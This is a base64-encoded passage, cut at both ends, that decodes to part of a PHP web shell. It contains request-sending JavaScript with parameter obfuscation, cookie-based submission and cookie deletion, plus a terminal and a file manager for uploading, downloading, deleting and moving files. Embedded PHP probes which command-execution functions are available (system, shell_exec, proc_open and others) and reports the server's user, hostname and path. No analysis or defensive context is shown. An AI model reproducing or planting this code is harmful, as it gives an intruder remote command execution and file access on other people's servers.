G9wdC5zZWxlY3RlZCA9IHRydWU7CiAgZnJtLmYuYWRkKG9wdCk7CiB9CiBlbG1CeUlkKCdzcG5Vc3JIc3QnKS50ZXh0Q29udGVudCA9IGV4ZUZ1bmNzWzBdWzJdOwogdmFsID0gc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbSgndHJtUGF0aCcpOwogZWxtQnlJZCgnc3BuUHRoJykudGV4dENvbnRlbnQgPSB2YWwgPT09IG51bGwgPyBleGVGdW5jc1swXVszXSA6IHZhbDsKIHN0cmdSc3RyVmFsKCd0cm1TaGVsbCcsIGZybS5zKTsKIHN0cmdSc3RyQ2hjaygndHJtU2lsZW50JywgZnJtLmgpOwogc3RyZ1JzdHJWYWwoJ3RybVNlbmRBcycsICdzbGN0VHJtQ1MnKTsKIHN0cmdSc3RyVmFsKCd0cm1Mb2FkQXMnLCBmcm0uYyk7Cn0KCmZ1bmN0aW9uIHVpVXBkSW5mKGNobGQpIHsKIHZhciBkaXYgPSBlbG1CeUlkKCdkaXZJbmZvJyk7CiBkaXYucmVtb3ZlQ2hpbGQoZGl2Lmxhc3RDaGlsZCk7CiBkaXYuYXBwZW5kQ2hpbGQoY2hsZCk7Cn0KCmZ1bmN0aW9uIG9uSW5mTWFpbihkaXYsIGRhdGEpIHsKIHZhciB0YmwgPSBuZXdFbG0oJ3RhYmxlJywgewogIGlkOiAndGJsSW5mJwogfSk7CiBmb3IgKHZhciBpID0gMCwgbCA9IGRhdGEubGVuZ3RoOyBpIDwgbDsgKytpKSB7CiAgaWYgKGkgPiAwKSB0YmwuaW5zZXJ0Um93KC0xKS5hcHBlbmRDaGlsZChuZXdFbG0oJ3RoJywgewogICBjb2xTcGFuOiAyCiAgfSkpOwogIGZvciAodmFyIGtleSBpbiBkYXRhW2ldKSB7CiAgIHZhciB0ciA9IHRibC5pbnNlcnRSb3coLTEpOwogICB0ci5hcHBlbmRDaGlsZChuZXdFbG0oJ3RoJywgewogICAgdGV4dENvbnRlbnQ6IGtleQogICB9KSk7CiAgIHRyLmluc2VydENlbGwoMSkudGV4dENvbnRlbnQgPSBkYXRhW2ldW2tleV07CiAgfQogfQogdWlVcGRJbmYodGJsKTsKIHVpRGVsTXNnKGRpdik7Cn0KCmZ1bmN0aW9uIG9uSW5mUEhQKGRpdiwgZGF0YSkgewogdmFyIHRibCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RhYmxlJyk7CiB0YmwuaWQgPSAndGJsSW5mJzsKIGZvciAodmFyIHNjdCBpbiBkYXRhKSB7CiAgdmFyIHRyID0gdGJsLmluc2VydFJvdygtMSk7CiAgdHIuYXBwZW5kQ2hpbGQobmV3RWxtKCd0aCcsIHsKICAgY29sU3BhbjogMiwKICAgdGV4dENvbnRlbnQ6IHNjdAogIH0pKTsKICBmb3IgKHZhciBrZXkgaW4gZGF0YVtzY3RdKSB7CiAgIHRyID0gdGJsLmluc2VydFJvdygtMSk7CiAgIHRyLmFwcGVuZENoaWxkKG5ld0VsbSgndGgnLCB7CiAgICB0ZXh0Q29udGVudDoga2V5CiAgIH0pKTsKICAgdHIuaW5zZXJ0Q2VsbCgxKS50ZXh0Q29udGVudCA9IGRhdGFbc2N0XVtrZXldOwogIH0KIH0KIHVpVXBkSW5mKHRibCk7CiB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBhanhTbmQobXNnLCBjbGJjaywgZnJtLCBkYXRhLCBjaHJzdCkgewoJCglSTyA9IGVsbUJ5SWQoJ2NiUk8nKS5jaGVja2VkOwoJUlIgPSBlbG1CeUlkKCdjYlJSJykuY2hlY2tlZDsKCVRNID0gZWxtQnlJZCgnY2JUTScpLmNoZWNrZWQ7CglPSSA9IGVsbUJ5SWQoJ2NiT0knKS5jaGVja2VkOwoJCgkgZnVuY3Rpb24gb2JmdXNjYXRlKGRhdGEpIHsKCSAgaWYgKG9iZktleSA9PT0gZmFsc2UgfHwgZGF0YS5sZW5ndGggPCAyKSByZXR1cm4gZGF0YTsKCSAgdmFyIHIgPSBbXSwKCSAgIGwgPSBkYXRhLmxlbmd0aDsKCSAgZGF0YSA9IGRhdGEuc3BsaXQoJycpOwoJICBmb3IgKHZhciBpID0gMDsgaSA8IGw7ICsraSkgewoJICAgdmFyIGMgPSAoaSAlIDIgPT09IDApID8gZGF0YS5wb3AoKSA6IGRhdGEuc2hpZnQoKTsKCSAgIHIucHVzaChjID09PSBvYmZLZXkgPyAnJyA6IGMpOwoJICB9CgkgIHJldHVybiByLmpvaW4ob2JmS2V5KTsKCSB9OwoJCgkgZnVuY3Rpb24gY2FuY2VsKCkgewoJICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKHJlcUlmcm0pOwoJICB1aURlbE1zZyhtc2dEaXYpOwoJICByZXR1cm4gZmFsc2U7CgkgfTsKCQoJIGZ1bmN0aW9uIG9uUmVzcCgpIHsKCSAgZGVsZXRlQWxsQ29va2llcygpOwoKCSAgbXNnRGl2LmZpcnN0Q2hpbGQub25jbGljayA9IHVpQ2xzTXNnOwoJICB2YXIgZG9jID0gcmVxSWZybS5jb250ZW50RG9jdW1lbnQ7CgkgIHZhciB4ciA9IHJlcUlmcm0uZ2V0QXR0cmlidXRlKCd4cicpOwoJICB2YXIgeGMgPSByZXFJZnJtLmdldEF0dHJpYnV0ZSgneGMnKTsKCSAgdmFyIHJlc3AgPSB4ciA/IHhyIDogZG9jLmJvZHkudGV4dENvbnRlbnQ7CgkgIHZhciBjc2V0ID0geGMgPyB4YyA6IGRvYy5jaGFyYWN0ZXJTZXQ7CgkgIHZhciBkYXRhID0gUk8gPyByZXNwIDogZ2V0VmFsdWUocmVzcCk7CgkgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQocmVxSWZybSk7CgkgIAoJICBpZiAoZGF0YS5zbGljZSgwLCAyKSA9PT0gJ1x4MDFceDAyJykgewoJICAgaWYgKGRhdGEuc2xpY2UoLTMpID09PSAnXHgxN1x4MDRceDEwJyAmJiBkYXRhLmluZGV4T2YoJ1x4MDNceDFFJykpIGRhdGEgPSBkYXRhLnNsaWNlKDIsIC0zKTsKCSAgIGVsc2UgZGF0YSA9IGZhbHNlOwoJICB9IGVsc2UgdHJ5IHsKCSAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwoJICB9IGNhdGNoIChlKSB7CgkgICBkYXRhID0gZmFsc2U7CgkgIH0KCSAgaWYgKGRhdGEgPT09IGZhbHNlKSB1aU5ldEVyck1zZyhtc2dEaXYpOwoJICBlbHNlIGlmIChjbGJjaykgY2xiY2suY2FsbChmcm0sIG1zZ0RpdiwgZGF0YSwgY3NldCk7CgkgIGVsc2UgdWlEZWxNc2cobXNnRGl2KTsKCSB9OwoJIAoJIHZhciBtc2dEaXYgPSB1aU1zZyhtc2cpLAoJICBvYmZLZXkgPSBmYWxzZSwKCSAgcmVxSWZybSA9IG5ld0VsbSgnaWZyYW1lJywgewoJICAgc3JjOiAnJywKCSAgIG5hbWU6ICdpZnJtJyArIChuZXcgRGF0ZSgpLmdldFRpbWUoKSkKCSAgfSksCgkgIHJlcUZybSA9IG5ld0VsbSgnZm9ybScsIHsKCSAgIGFjY2VwdENoYXJzZXQ6IChjaHJzdCA/IGNocnN0IDogJ1VURi04JyksCgkgICBhY3Rpb246IHdpbmRvdy5sb2NhdGlvbi5ocmVmLAoJICAgbWV0aG9kOiAncG9zdCcsCgkgICB0YXJnZXQ6IHJlcUlmcm0ubmFtZQoJICB9KSwKCSAgZWxtOwoKCSBpZiAoUk8pIGRhdGEucm8gPSAnMSc7CgkgaWYgKFRNKSBkYXRhLnRtID0gJzEnOwoJIGlmIChvYmZLZXkgIT09IGZhbHNlKSBkYXRhLmsgPSBvYmZLZXk7CgkgZWxtID0gZWxtQnlJZCgnZnJtQ3N0RW52Jyk7CgkgaWYgKGVsbS5lLmNoZWNrZWQgJiYgZWxtLmkudmFsdWUgIT09ICcnKSB7CgkgIGRhdGEuaiA9IFtlbG0uZi52YWx1ZSwgZWxtLnMudmFsdWUsIGVsbS5pLnZhbHVlLCAnJ107CgkgIGlmIChlbG0ubi5jaGVja2VkKSBkYXRhLmpbM10gPSAnbic7CgkgIGlmIChlbG0uYy5jaGVja2VkKSBkYXRhLmpbM10gKz0gJ0MnOwoJIH0KCSBmb3IgKHZhciBrZXkgaW4gZGF0YSkKCSAgaWYgKEFycmF5LmlzQXJyYXkoZGF0YVtrZXldKSkKCSAgIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YVtrZXldLmxlbmd0aDsgaSA8IGM7ICsraSkgcmVxRnJtLmFwcGVuZENoaWxkKG5ld0VsbSgnaW5wdXQnLCB7CgkgICAgdHlwZTogJ2hpZGRlbicsCgkgICAgbmFtZTogUlIgPyBrZXkgKyAnWycrIGkgKyddJyA6IHNldE5hbWUoa2V5ICsgJ1snKyBpICsnXScpLAoJICAgIHZhbHVlOiBSUiA/IGRhdGFba2V5XVtpXTogc2V0VmFsdWUoZGF0YVtrZXldW2ldKQoJICAgfSkpOwoJICBlbHNlIHJlcUZybS5hcHBlbmRDaGlsZChuZXdFbG0oJ2lucHV0JywgewoJICAgdHlwZTogJ2hpZGRlbicsCgkgICBuYW1lOiBSUiA/IGtleSA6IHNldE5hbWUoa2V5KSwKCSAgIHZhbHVlOiBSUiA/IGRhdGFba2V5XSA6IHNldFZhbHVlKGRhdGFba2V5XSkKCSAgfSkpOwoJIGlmIChmcm0pCgkgIGZvciAodmFyIGkgPSBmcm0uZWxlbWVudHMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpIHsKCSAgIGVsbSA9IGZybS5lbGVtZW50c1tpXTsKCSAgIGlmIChlbG0ubmFtZSA9PT0gJycgfHwgZWxtLmRpc2FibGVkKSBjb250aW51ZTsKCSAgIGlmIChlbG0udGFnTmFtZSA9PT0gJ0lOUFVUJykgewoJICAgIGlmICgoZWxtLnR5cGUgPT09ICdjaGVja2JveCcgfHwgZWxtLnR5cGUgPT09ICdyYWRpbycpICYmICFlbG0uY2hlY2tlZCkgY29udGludWU7CgkgICAgaWYgKGVsbS50eXBlID09PSAnZmlsZScpIHsKCQkJaWYoUlIpewoJCSAgICAgcmVxRnJtLmVuY3R5cGUgPSAnbXVsdGlwYXJ0L2Zvcm0tZGF0YSc7CgkJICAgICByZXFGcm0uYXBwZW5kQ2hpbGQoZWxtLmNsb25lTm9kZSh0cnVlKSk7CgkJCX0KCSAgICAgY29udGludWU7CgkgICAgfQoJICAgfQoJICAgaWYgKGVsbS52YWx1ZSAhPT0gJycgfHwgZWxtLnRhZ05hbWUgPT09ICdURVhUQVJFQScpIHJlcUZybS5hcHBlbmRDaGlsZChuZXdFbG0oJ2lucHV0JywgewoJICAgIHR5cGU6ICdoaWRkZW4nLAoJICAgIG5hbWU6IFJSID8gZWxtLm5hbWUgOiBzZXROYW1lKGVsbS5uYW1lKSwKCSAgICB2YWx1ZTogUlIgPyBlbG0udmFsdWUgOiBzZXRWYWx1ZShlbG0udmFsdWUpCgkgICB9KSk7CgkgIH0KCgkgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChyZXFGcm0pOwoJIGFkZEVuY0tleShyZXFGcm0pOwoJIAoJIHN0YXR1cyA9IGZhbHNlOwoJIGlmKENPT0tJRSAmJiByZXFGcm0uZW5jdHlwZSAhPSAnbXVsdGlwYXJ0L2Zvcm0tZGF0YScpewoJCXN0YXR1cyA9IHN1Ym1pdFZpYUNvb2tpZShyZXFGcm0sIGZhbHNlKTsKCQlpZihzdGF0dXMgPT0gJ1NFTkQnKXsKCQkJZWxlbWVudHMgPSByZXFGcm0uY2hpbGROb2RlczsKCQkJd2hpbGUoZWxlbWVudHMubGVuZ3RoKQoJCQkJZm9yKGkgPSAwOyBpIDwgZWxlbWVudHMubGVuZ3RoOyBpKyspCgkJCQkJcmVxRnJtLnJlbW92ZUNoaWxkKGVsZW1lbnRzW2ldKTsKCQkJcmVxRnJtLm1ldGhvZCA9ICdnZXQnOwoJCX0KCQllbHNlCgkJCXJlcUZybS5tZXRob2QgPSAncG9zdCc7CgkgfQoJCgkgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChyZXFJZnJtKTsKCgkgaWYoc3RhdHVzICE9ICdDQU5DRUwnKXsKCQkKCQlpZihPSSAmJiByZXFGcm0ubWV0aG9kID09ICdnZXQnKQoJCQlyZXFJZnJtLnNyYyA9IHJlcUZybS5hY3Rpb247CgoJCWVsc2UgaWYoIWRhdGEuaGFzT3duUHJvcGVydHkoJ2QnKSl7CgkJCXZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQkJeGhyLm9wZW4ocmVxRnJtLm1ldGhvZCwgJycsIGZhbHNlKTsKCQkJeGhyLnNlbmQobmV3IEZvcm1EYXRhKHJlcUZybSkpOwoJCQlyZXFJZnJtLnNldEF0dHJpYnV0ZSgneHInLCB4aHIucmVzcG9uc2VUZXh0KTsKCQkJcmVxSWZybS5zZXRBdHRyaWJ1dGUoJ3hjJywgeGhyLmdldFJlc3BvbnNlSGVhZGVyKCdjb250ZW50LXR5cGUnKS5zcGxpdCgnPScpWzFdKTsKCQkJcmVxSWZybS5zcmNkb2MgPSAnJzsKCQl9CgkJZWxzZQoJCQkoQ09PS0lFIHx8ICFPSSAmJiByZXFGcm0ubWV0aG9kID09ICdnZXQnID8gd2luZG93LmxvY2F0aW9uLmhyZWYgPSB3aW5kb3cubG9jYXRpb24ucGF0aG5hbWUgOiByZXFGcm0uc3VibWl0KCkpOwoKCQlyZXFJZnJtLm9ubG9hZCA9IG9uUmVzcDsKCSB9CgoJIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQocmVxRnJtKTsJCgkgbXNnRGl2LmZpcnN0Q2hpbGQub25jbGljayA9IGNhbmNlbDsKCSBzZXRUaW1lb3V0KGRlbGV0ZUFsbENvb2tpZXMsIDEwMCk7Ly8gc29ycnkgOigKCQoJIHJldHVybiBmYWxzZTsKfQo8L3NjcmlwdD4KCjxzY3JpcHQgaWQ9ImRhdGFFeGUidHlwZT0idGV4dC9kYXRhIj48P3BocCAkYT1hcnJheSgnc3lzdGVtJywncGFzc3RocnUnLCdiYWNrdGlja3MnLCdzaGVsbF9leGVjJywnZXhlYycsJ3BvcGVuJyk7aWYoUEhQX1ZFUlNJT04+PSc0LjMnKSRhW109J3Byb2Nfb3Blbic7aWYoc2FmZW1vZGUoKSkkYVsxMDFdPSdzYWZlbW9kZSc7LyppZihkZWZpbmVkKCdFWFBfRU9GJykpeyRhWzddPSdleHBlY3Q6Ly8nOyRhWzhdPSdleHBlY3RfcG9wZW4nO30qL2lmKCFOSVgmJmRlZmluZWQoJ0NMU0NUWF9BTEwnKSkkYVsxMF09J2NvbSc7Lyokcz1OSVg/JzsnOicmJzskYz1OSVg/J3B3ZCc6J2NkJzskdz1OSVg/J3dob2FtaSc6J2VjaG8gJXVzZXJuYW1lJSc7Zm9yZWFjaCgkYSBhcyRrPT4kdilleGUoJ2VjaG8gJy4kay4nOicuJHYuJHMuJHcuJHMuJ2hvc3RuYW1lJy4kcy4kYywkaywnJyxGQUxTRSk7Ki9mb3JlYWNoKCRhIGFzICRrID0+ICR2KXtpZihmdW5jdGlvbl9leGlzdHMoJHYpKSBwcmludCAkay4nOicuJHYuIlxuIi5nZXRfY3VycmVudF91c2VyKCkuIlxuIi5nZXRob3N0bmFtZSgpLiJcbiIuX19ESVJfXy4iXG4iO30/Pjwvc2NyaXB0PjwvaGVhZD48Ym9keSBvbmtleWRvd249InVpS2V5RHduKGV2ZW50KSI+PGRpdiBpZD0iZGl2SGRyImNsYXNzPSJkaXZDbnRybHMiPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJDb2xvciBtb2RlIm9uY2xpY2s9InJldHVybiBpbnZlcnRDb2xvcnMoKSI+JmJ1bGw7PC9hPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJSZXNpemUgdmlldyJvbmNsaWNrPSJyZXR1cm4gdWlSc3pCb2R5KCkiPiYjeDIxQzQ7PC9hPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJTZXR0aW5ncyJvbmNsaWNrPSJyZXR1cm4gdWlTaHdNb2RhbCgnZGl2U3RuZ3MnKSI+JiN4MjY5OTs8L2E+PC9kaXY+PGRpdiBpZD0iZGl2Qm9keSI+PHNwYW4gaWQ9InRhYkZNIj48YSBocmVmPSIjdGFiRk0iY2xhc3M9InRhYiI+RmlsZSBNYW5hZ2VyPC9hPjxkaXYgY2xhc3M9InRhYlBhZ2UiaWQ9ImRpdkZNIj48dGV4dGFyZWEgaWQ9InR4dENscGJyZCJ0YWJpbmRleD0iLTEiPjwvdGV4dGFyZWE+PGZvcm0gaGlkZGVuIGlkPSJmcm1VcGwiPjxpbnB1dCB0eXBlPSJmaWxlIm5hbWU9ImZbXSJpZD0iaW5wVXBsIiBvbmNoYW5nZT0idXBsRmlsZXMoKSIvPjwvZm9ybT48Zm9ybSBjbGFzcz0idG9vbGJhciJpZD0iZnJtRk0ib25zdWJtaXQ9InJldHVybiBnb1RvKHRoaXMucC52YWx1ZSkiPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsImlkPSJidG5TcmNoInRpdGxlPSJTZWFyY2guLi4ib25jbGljaz0icmV0dXJuIHVpU2h3RnJtU3JjaCgpIj48L2E+PGJ1dHRvbiB0eXBlPSJidXR0b24idGl0bGU9IkdvIGhvbWUhIm9uY2xpY2s9ImdvVG8oJ34nKSI+fjwvYnV0dG9uPiA8P3BocCBpZighTklYKXskYT1yYW5nZSgnQScsJ1onKTtmb3JlYWNoKCRhIGFzJHYpeyRpPW5ldyBGaWxlSW5mbygkdi4nOlxcJyk7aWYoJGktPmlzRGlyKCkpZWNobyc8YnV0dG9uIHR5cGU9ImJ1dHRvbiJvbmNsaWNrPSJnb1RvKCcsIiciLCR2LCI6XFxcXCciLCcpIj4nLCR2LCc6PC9idXR0b24+Jzt9fT8+IDxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InAidmFsdWU9Ijw/cGhwIGVjaG8gZXNjSFRNTChzZWxmUGF0aCgpKTs/PiIvPjxidXR0b24gdGl0bGU9IkdvISI+Jmd0OzwvYnV0dG9uPjxzcGFuIGNsYXNzPSJzcG5CdG5TYk1uIj48YnV0dG9uIHR5cGU9ImJ1dHRvbiJpZD0iYnRuRmFzdEFjdCJ0aXRsZT0iRmFzdCBhY3Rpb25zLi4uIm9uY2xpY2s9InVpVGdnbFN1Yk1lbnUoZXZlbnQpIm9uYmx1cj0ibWVudUJ1dHRvbkJsdXIodGhpcykiPjxociBjbGFzcz0iYXJ3RHduIi8+PC9idXR0b24+PGRpdiBjbGFzcz0iZGl2U2JNbiJvbmNsaWNrPSJvbkZhc3RBY3RDbGljayhldmVudCkiPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+UHJvcGVydGllczwvYT48YSBocmVmPSIjImNsYXNzPSJhTW5JdG0ib25ibHVyPSJtZW51SXRlbUJsdXIodGhpcykiPkRvd25sb2FkPC9hPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+RGVsZXRlPC9hPjwvZGl2Pjwvc3Bhbj4mbmJzcDsgPHNwYW4gY2xhc3M9InNwbkNocnN0InRpdGxlPSJTZW5kIGFzLi4uIj48aHIgY2xhc3M9ImFyd1VwIi8+IDxzZWxlY3QgaWQ9ImZtQ1NTZW5kIj48P3BocCBmb3JlYWNoKCRDIGFzJHYpZWNobyc8b3B0aW9uPicsJHYsJzwvb3B0aW9uPic7Pz48L3NlbGVjdD48L3NwYW4+PHNwYW4gY2xhc3M9InNwbkNocnN0InRpdGxlPSJMb2FkIGFzLi4uIj48aHIgY2xhc3M9ImFyd0R3biIvPiA8c2VsZWN0IGlkPSJmbUNTTG9hZCI+PD9waHAgZm9yZWFjaCgkQyBhcyRrPT4kdillY2hvJzxvcHRpb24gdmFsdWU9IicsJGssJyI+JywkdiwnPC9vcHRpb24+Jzs/Pjwvc2VsZWN0Pjwvc3Bhbj48L2Zvcm0+PGRpdiBjbGFzcz0ic3ViYmFyIj48YnV0dG9uIHR5cGU9ImJ1dHRvbiJ0aXRsZT0iWW91IGNhbiB1cGxvYWQgbXVsdGlwbGUgZmlsZXMgYXQgb25jZS4uLiJvbmNsaWNrPSJlbG1CeUlkKCdpbnBVcGwnKS5jbGljaygpIj5VcGxvYWQgJiM4MjMwOzwvYnV0dG9uPjxzcGFuIGNsYXNzPSJzcG5CdG5TYk1uIj48YnV0dG9uIHR5cGU9ImJ1dHRvbiJjbGFzcz0iYnRuU2JNbiJvbmNsaWNrPSJ1aVRnZ2xTdWJNZW51KGV2ZW50KSJvbmJsdXI9Im1lbnVCdXR0b25CbHVyKHRoaXMpIj5DcmVhdGUgPGhyIGNsYXNzPSJhcndEd24iLz48L2J1dHRvbj48ZGl2IGNsYXNzPSJkaXZTYk1uIm9uY2xpY2s9Im9uQ3J0TWVudUNsaWNrKGV2ZW50KSI+PGEgaHJlZj0iIyJjbGFzcz0iYU1uSXRtIm9uYmx1cj0ibWVudUl0ZW1CbHVyKHRoaXMpIj5GaWxlPC9hPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+TGluazwvYT48YSBocmVmPSIjImNsYXNzPSJhTW5JdG0ib25ibHVyPSJtZW51SXRlbUJsdXIodGhpcykiPkRpcmVjdG9yeTwvYT48L2Rpdj48L3NwYW4+PHNwYW4gY2xhc3M9InNwbkJ0blNiTW4iPjxidXR0b24gdHlwZT0iYnV0dG9uImNsYXNzPSJidG5TYk1uImlkPSJidG5CdWZmZXJNZW51Im9uY2xpY2s9InVpVGdnbFN1Yk1lbnUoZXZlbnQpIm9uYmx1cj0ibWVudUJ1dHRvbkJsdXIodGhpcykiZGlzYWJsZWQ+QnVmZmVyIDxociBjbGFzcz0iYXJ3RHduIi8+PC9idXR0b24+PGRpdiBjbGFzcz0iZGl2U2JNbiJvbmNsaWNrPSJvbkJ1ZmZlck1lbnVDbGljayhldmVudCkiPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+U2hvdyBmaWxlczxhPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+Q29weSBoZXJlPC9hPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+TW92ZSBoZXJlPC9hPjxhIGhyZWY9IiMiY2xhc3M9ImFNbkl0bSJvbmJsdXI9Im1lbnVJdGVtQmx1cih0aGlzKSI+RG93bmxvYWQ8L2E+PGEgaHJlZj0iIyJjbGFzcz0iYU1uSXRtIm9uYmx1cj0ibWVudUl0ZW1CbHVyKHRoaXMpIj5DbGVhcjwvYT48L2Rpdj48L3NwYW4+PC9kaXY+PGRpdj48Zm9ybSBpZD0iZnJtRmlsZXMiPjx0YWJsZSBpZD0idGJsRmlsZXMiY29scz0iPD9waHAgZWNobyBOSVg/ODo3Oz8+Im9uY2xpY2s9Im9uVGJsRmlsZXNDbGljayhldmVudCkiPjx0aGVhZD48dHI+PHRoIHdpZHRoPSIyMHB4Ij48aW5wdXQgdHlwZT0iY2hlY2tib3gib25jbGljaz0idWlDaGVja0FsbCgnRmlsZXMnLCB0aGlzLmNoZWNrZWQpIi8+PC90aD48dGg+TmFtZTwvdGg+PHRoIHdpZHRoPSI2NXB4Ij5FeHQ8L3RoPjx0aCB3aWR0aD0iMTA1cHgiPlNpemU8L3RoPjx0aCB3aWR0aD0iMTQ1cHgiPk1vZGlmaWVkIChVVEMpPC90aD48dGggd2lkdGg9Ijk1cHgiPlBlcm1pc3Npb248L3RoPiA8P3BocCBpZihOSVgpez8+PHRoIHdpZHRoPSIxNTVweCI+T3duZXI8L3RoPjw/cGhwIH0/PiA8dGggd2lkdGg9IjY1cHgiPkFjdGlvbnM8L3RoPjwvdHI+PC90aGVhZD48dGZvb3Q+PHRyPjx0aCBjb2xzcGFuPSI8P3BocCBlY2hvIE5JWD84Ojc7Pz4iPjxidXR0b24gdHlwZT0iYnV0dG9uIm9uY2xpY2s9ImR3bkZpbGVzKGdldFNsY3RkRmlsZXMoKSkiPkRvd25sb2FkPC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24ib25jbGljaz0icHJwc1NsY3RkRmlsZXMoKSI+UHJvcGVydGllczwvYnV0dG9uPjxidXR0b24gdHlwZT0iYnV0dG9uIm9uY2xpY2s9Im1hcmtTbGN0ZEZpbGVzKCkiPk1hcms8L2J1dHRvbj48YnV0dG9uIHR5cGU9ImJ1dHRvbiJvbmNsaWNrPSJkZWxGaWxlcyhnZXRTbGN0ZEZpbGVzKCkpIj5EZWxldGU8L2J1dHRvbj48L3RoPjwvdHI+PC90Zm9vdD48L3RhYmxlPjwvZm9ybT48L2Rpdj48dGVtcGxhdGUgaWQ9InRtcGxGaWxlc1RCb2R5Ij48dGJvZHk+PHRyPjx0aCBjb2xzcGFuPSI8P3BocCBlY2hvIE5JWD84Ojc7Pz4iY2xhc3M9InRoUHRoIj48L3RoPjwvdHI+PHRyPjx0ZCBjbGFzcz0idGRVcCI+PGlucHV0IHR5cGU9ImhpZGRlbiIvPiYjeDIxYjQ7PC90ZD48dGQgY29sc3Bhbj0iPD9waHAgZWNobyBOSVg/Nzo2Oz8+Ij48YSBocmVmPSIjImNsYXNzPSJsbmtCbGNrIj5bIC4uIF08L2E+PC90ZD48L3RyPjwvdGJvZHk+PC90ZW1wbGF0ZT48dGVtcGxhdGUgaWQ9InRtcGxGaWxlUm93Ij48dHI+PHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJmW10iLz48L3RkPjx0ZD48YSBocmVmPSIjImNsYXNzPSJsbmtCbGNrIj48L2E+PC90ZD48dGQ+PGEgaHJlZj0iIyJjbGFzcz0ibG5rQmxjayI+PC9hPjwvdGQ+PHRkPjxhIGhyZWY9IiMiY2xhc3M9Imxua0FjdCI+PC9hPjwvdGQ+PHRkPjwvdGQ+PHRkPjxhIGhyZWY9IiMiY2xhc3M9Imxua0FjdCI+PC9hPjwvdGQ+PD9waHAgaWYoTklYKXs/Pjx0ZD48L3RkPjw/cGhwIH0/Pjx0ZD48YSBocmVmPSIjImNsYXNzPSJsbmtBY3QiPk1yazwvYT4mbmJzcDs8YSBocmVmPSIjImNsYXNzPSJsbmtBY3QiPkRlbDwvYT48L3RkPjwvdHI+PC90ZW1wbGF0ZT48ZGl2IGlkPSJkaXZXbmR3cyI+PHRlbXBsYXRlIGlkPSJ0bXBsRnJtRmlsZSI+PGZvcm0gY2xhc3M9Im1vZGFsIGZybUZpbGUib25zdWJtaXQ9InNhdmVGaWxlKGV2ZW50KSJvbm1vdXNlZG93bj0idWlBY3R2TW9kYWwoZXZlbnQpInRhYmluZGV4PSItMSI+PGRpdiBjbGFzcz0iZGl2Q250cmxzIm9uZGJsY2xpY2s9InJldHVybiB1aVJzeih0aGlzLnBhcmVudE5vZGUpIj48c3BhbiBjbGFzcz0ic3BuVGl0bGUiPk5ldyBGaWxlPC9zcGFuPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJDbG9zZSJvbmNsaWNrPSJyZXR1cm4gdWlEc3RyTW9kYWwodGhpcy5wYXJlbnROb2RlLnBhcmVudE5vZGUpIj4mI3gwMEQ3OzwvYT48YSBocmVmPSIjImNsYXNzPSJjbnRybCJ0aXRsZT0iUmVzaXplIm9uY2xpY2s9InJldHVybiB1aVJzeih0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZSkiPiYjeDI5MjI7PC9hPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJSZWxvYWQgZmlsZSJvbmNsaWNrPSJybGRGaWxlKGV2ZW50KSI+JiN4MjdGMzs8L2E+PC9kaXY+PHRleHRhcmVhIG5hbWU9InQiPjwvdGV4dGFyZWE+PGRpdiBjbGFzcz0iZmxleFJvdyI+PGlucHV0IHR5cGU9InRleHQicmVxdWlyZWQvPjxzZWxlY3QgbmFtZT0iYyJ0aXRsZT0iRmlsZSBlbmNvZGluZy4uLiJvbmNoYW5nZT0icmxkRmlsZUFzKGV2ZW50KSI+PD9waHAgZm9yZWFjaCgkQyBhcyRrPT4kdillY2hvJzxvcHRpb24gdmFsdWU9IicsJGssJyI+JywkdiwnPC9vcHRpb24+Jzs/Pjwvc2VsZWN0PjxzZWxlY3QgbmFtZT0iZSI+PG9wdGlvbiB2YWx1ZT0iMCI+XHJcbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjEiPD9waHAgaWYoTklYKWVjaG8nIHNlbGVjdGVkJzs/Pj5cbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjIiPlxyPC9vcHRpb24+PC9zZWxlY3Q+PGJ1dHRvbj5TYXZlPC9idXR0b24+PC9kaXY+PC9mb3JtPjwvdGVtcGxhdGU+PGZvcm0gaWQ9ImZybVNyY2giY2xhc3M9Im1vZGFsIm9ubW91c2Vkb3duPSJ1aUFjdHZNb2RhbChldmVudCkib25zdWJtaXQ9InNyY2hGaWxlcyhldmVudCkidGFiaW5kZXg9Ii0xIj48ZGl2IGNsYXNzPSJkaXZDbnRybHMiPjxzcGFuIGNsYXNzPSJzcG5UaXRsZSI+U2VhcmNoPC9zcGFuPjxhIGhyZWY